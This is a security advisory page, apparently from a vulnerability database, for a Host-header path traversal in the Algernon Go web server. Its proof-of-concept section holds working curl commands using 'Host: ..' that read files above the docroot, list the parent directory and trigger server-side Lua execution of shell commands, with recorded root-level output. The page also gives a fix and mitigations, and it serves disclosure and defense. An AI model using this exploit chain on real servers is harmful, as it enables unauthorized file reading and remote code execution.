Algernon: Host header path traversal in --domain mode reads files and runs Lua from parent dirGHSA-jc3j-x6pg-4hmv
HIGHGHSA-jc3j-x6pg-4hmv is a high-severity (CVSS 8.2) Path Traversal vulnerability in github.com/xyproto/algernon. A fix is available for github.com/xyproto/algernon — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for GHSA-jc3j-x6pg-4hmv.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-jc3j-x6pg-4hmv by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 388,997 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
github.com/xyproto/algernonReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
When algernon is started with --domain (or --letsencrypt, which silently turns on --domain at engine/flags.go:372), the request handler resolves the served directory by joining the configured --dir with the value of the client-supplied Host header. The join is performed by filepath.Join with no validation, so a Host: .. header walks one level above the document root. Subsequent file resolution then exposes everything in that parent directory — arbitrary file read, full directory listing, and, if any .lua file is present, server-side Lua execution. Algernon 1.17.7 and earlier are affected.
Details
engine/handlers.go (function RegisterHandlers, around line 510):
allRequests := func(w http.ResponseWriter, req *http.Request) {
...
servedir := servedir
if addDomain {
servedir = filepath.Join(servedir, utils.GetDomain(req)) // <— line 531
}
...
filename := utils.URL2filename(servedir, urlpath)
utils/web.go (GetDomain):
func GetDomain(req *http.Request) string {
host, _, err := net.SplitHostPort(req.Host)
if err != nil {
return req.Host // <— Host header returned verbatim
}
return host
}
utils/files.go (URL2filename) only sanitises the URL path — it never inspects dirname:
func URL2filename(dirname, urlpath string) string {
if strings.Contains(urlpath, "..") {
return dirname + Pathsep // dirname is trusted here
}
...
}
engine/flags.go (auto-enable in CertMagic / Let's Encrypt mode):
if ac.useCertMagic {
...
ac.serverAddDomain = true // <— line 372
}
Putting it together:
- The client sends
Host: ... Go's HTTP server accepts the value because.is in the URI host whitelist and there are no other characters to validate;req.Hostis... GetDomainreturns..(no port,net.SplitHostPortfails — fallback path).filepath.Join("/srv/algernon", "..")cleans to/srv.URL2filename("/srv", "/SECRET.txt")returns/srv/SECRET.txt, which the handler opens withFilePage.- For directory targets,
DirPagelists the parent — sending/afterHost: ..produces an HTML index of the parent of the docroot. - If a file with a recognised algernon extension (
.lua,.tl,.po2,.amber,.frm,.md, ...) is in the parent, the matching renderer runs server-side..luatriggers full Lua execution, includingrun3(...)which callsexec.Command("sh", "-c", command)(seelua/run3/run3.go:23).
Multi-level traversal is blocked at the protocol layer because the Go HTTP parser rejects / in the Host: value, but a single .. is enough to step outside the operator's intended docroot — and many operators put scripts, configs, certificates, log files, or sibling sites in parent(serverDir). --letsencrypt is the supported way to run algernon as a multi-domain HTTPS server, and it implicitly turns this on without the operator noticing.
This bug is distinct from the previously-fixed handler.lua parent-walk (GHSA-xwcr-wm99-g9jc) — that one used the handler.lua discovery loop and walked above rootdir; this one stays inside the normal FilePage path and rewrites rootdir itself through filepath.Join(servedir, req.Host). It is also distinct from the upload savein() issue (GHSA-2j2c-pv62-mmcp).
PoC
Build the affected version:
git clone https://github.com/xyproto/algernon
cd algernon
go build -o /tmp/algernon .
Reproduce manually:
WORK=$(mktemp -d)
mkdir -p $WORK/site
echo '<h1>public</h1>' > $WORK/site/index.html
echo 'TOP-SECRET FROM PARENT DIR' > $WORK/SECRET.txt
cat > $WORK/pwn.lua <<'LUA'
print("=== RCE ===")
local out, err, code = run3("id; uname -a")
for _,v in ipairs(out) do print(" "..v) end
LUA
/tmp/algernon --httponly --dir $WORK/site --addr :7799 --server -n --domain --nolimit &
sleep 1
# 1. Arbitrary file read
curl -H 'Host: ..' http://127.0.0.1:7799/SECRET.txt
# -> TOP-SECRET FROM PARENT DIR
# 2. Parent directory listing
curl -H 'Host: ..' http://127.0.0.1:7799/ | grep -oP 'href="[^"]+"' | head
# -> href="/SECRET.txt", href="/pwn.lua", href="/site/", ...
# 3. Server-side Lua execution (RCE)
curl -H 'Host: ..' http://127.0.0.1:7799/pwn.lua
# -> === RCE ===
# uid=0(root) gid=0(root) groups=0(root)
# Linux ...
Recorded output from a real run:
[2] arbitrary file read via Host: ..
TOP-SECRET FROM PARENT DIR
[3] directory listing of parent via Host: ..
bytes=1278, links=1
sample:
href="/alg.log"
href="/site/"
href="/SECRET.txt"
[4] Lua RCE via Host: .. when .lua exists in parent
=== RCE ===
uid=0(root) gid=0(root) groups=0(root)
Linux fg0x0 6.6.87.2-microsoft-standard-WSL2 ... x86_64 GNU/Linux
EXIT=0
Steps 2 and 3 reproduce with default flags (--domain alone, or --letsencrypt in production). Step 4 additionally requires a .lua file in the parent — common when an operator keeps shared scripts alongside the served directory, or when this bug is chained with any prior write primitive.
Impact
- An unauthenticated remote attacker who can send a single HTTP request with a
Host: ..header can read arbitrary files inparent(--dir)and enumerate that directory. - When
--letsencryptis used (the recommended way to obtain HTTPS),--domainis enabled silently, so any production multi-tenant deployment is exposed without the operator opting in. - The chained Lua-RCE path executes shell commands as the algernon process user. In the canonical
--prodinvocation documented inengine/config.go:208(serverDirOrFilename = "/srv/algernon"), the parent is/srv; in multi-domain setups the parent often holds sibling site directories and shared.lualibraries.
Suggested fix
Reject Host header values that contain .., /, \, or that resolve outside the configured serverDirOrFilename. The simplest patch:
// engine/handlers.go, where addDomain is consumed
if addDomain {
domain := utils.GetDomain(req)
if domain == "" || strings.ContainsAny(domain, "/\\") || strings.Contains(domain, "..") {
w.WriteHeader(http.StatusBadRequest)
return
}
servedir = filepath.Join(servedir, domain)
}
A stronger fix when CertMagic is active is to constrain the lookup to the certMagicDomains allow-list that flags.go already builds.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/xyproto/algernon | all versions | 1.17.8go get github.com/xyproto/algernon@v1.17.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/xyproto/algernon, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/xyproto/algernon to 1.17.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jc3j-x6pg-4hmv is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is GHSA-jc3j-x6pg-4hmv in your dependencies?
Find it across Go, including transitive dependencies.